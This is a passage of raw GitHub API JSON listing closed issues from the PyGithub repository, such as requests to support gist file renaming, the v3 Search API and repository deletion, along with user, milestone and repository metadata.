s","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/24","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/24/labels","id":298677,"number":24,"title":"Version 1.14.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2013-03-28T19:15:29Z","updated_at":"2013-04-22T21:03:59Z","due_on":null},"comments":3,"created_at":"2013-04-05T22:37:41Z","updated_at":"2013-04-08T19:15:29Z","closed_at":"2013-04-08T19:15:29Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"looking at the InputFileContent class, it doesn't appear to support renaming a file in a gist. am i mistaken?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/49/events","html_url":"https://github.com/jacquev6/PyGithub/issues/49","id":5191621,"number":49,"title":"Support new Search API","user":{"login":"kukuts","id":1831238,"avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9be6ba907be1740213b69422fdf52b57","url":"https://api.github.com/users/kukuts","html_url":"https://github.com/kukuts","followers_url":"https://api.github.com/users/kukuts/followers","following_url":"https://api.github.com/users/kukuts/following{/other_user}","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","organizations_url":"https://api.github.com/users/kukuts/orgs","repos_url":"https://api.github.com/users/kukuts/repos","events_url":"https://api.github.com/users/kukuts/events{/privacy}","received_events_url":"https://api.github.com/users/kukuts/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6/labels","id":136827,"number":6,"title":"Version 1.2","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-06-25T19:31:02Z","updated_at":"2012-06-29T18:47:43Z","due_on":"2012-07-01T07:00:00Z"},"comments":4,"created_at":"2012-06-21T12:27:38Z","updated_at":"2012-06-29T18:47:28Z","closed_at":"2012-06-29T18:47:28Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"New API ported from v2 but i have trouble with adopting ask's library for v2 API to support v3 style for searching. \nhttp://developer.github.com/v3/search/\n\nIts not described in the page about parameters that search for repos API supports.\nThey are same as in v2 API, you can look them in ask's library.\nIn v2 was like that https://github.com/api/v2/json/repos/search/testing?start_page=2&language=Python\nIn v3 is https://api.github.com/legacy/repos/search/testing?start_page=2&language=Python"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/50/events","html_url":"https://github.com/jacquev6/PyGithub/issues/50","id":5256315,"number":50,"title":"[Issue] Replace label _identity with name","user":{"login":"philipkimmey","id":211079,"avatar_url":"https://secure.gravatar.com/avatar/decc9323f241b6dd24ec35ef7cabaf75?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"decc9323f241b6dd24ec35ef7cabaf75","url":"https://api.github.com/users/philipkimmey","html_url":"https://github.com/philipkimmey","followers_url":"https://api.github.com/users/philipkimmey/followers","following_url":"https://api.github.com/users/philipkimmey/following{/other_user}","gists_url":"https://api.github.com/users/philipkimmey/gists{/gist_id}","starred_url":"https://api.github.com/users/philipkimmey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/philipkimmey/subscriptions","organizations_url":"https://api.github.com/users/philipkimmey/orgs","repos_url":"https://api.github.com/users/philipkimmey/repos","events_url":"https://api.github.com/users/philipkimmey/events{/privacy}","received_events_url":"https://api.github.com/users/philipkimmey/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6/labels","id":136827,"number":6,"title":"Version 1.2","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-06-25T19:31:02Z","updated_at":"2012-06-29T18:47:43Z","due_on":"2012-07-01T07:00:00Z"},"comments":4,"created_at":"2012-06-25T18:45:05Z","updated_at":"2012-06-28T20:10:44Z","closed_at":"2012-06-28T20:10:44Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/50","diff_url":"https://github.com/jacquev6/PyGithub/pull/50.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/50.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":null},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/60/events","html_url":"https://github.com/jacquev6/PyGithub/issues/60","id":6363719,"number":60,"title":"delete repo","user":{"login":"pmchen","id":671751,"avatar_url":"https://secure.gravatar.com/avatar/a0f9638840c6e593ecddc966e6d01241?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a0f9638840c6e593ecddc966e6d01241","url":"https://api.github.com/users/pmchen","html_url":"https://github.com/pmchen","followers_url":"https://api.github.com/users/pmchen/followers","following_url":"https://api.github.com/users/pmchen/following{/other_user}","gists_url":"https://api.github.com/users/pmchen/gists{/gist_id}","starred_url":"https://api.github.com/users/pmchen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pmchen/subscriptions","organizations_url":"https://api.github.com/users/pmchen/orgs","repos_url":"https://api.github.com/users/pmchen/repos","events_url":"https://api.github.com/users/pmchen/events{/privacy}","received_events_url":"https://api.github.com/users/pmchen/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9/labels","id":164586,"number":9,"title":"Version 1.5","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-08-23T07:44:21Z","updated_at":"2012-09-05T17:56:28Z","due_on":"2012-09-06T07:00:00Z"},"comments":4,"created_at":"2012-08-21T21:47:28Z","updated_at":"2012-09-05T17:12:16Z","closed_at":"2012-09-05T17:12:16Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_u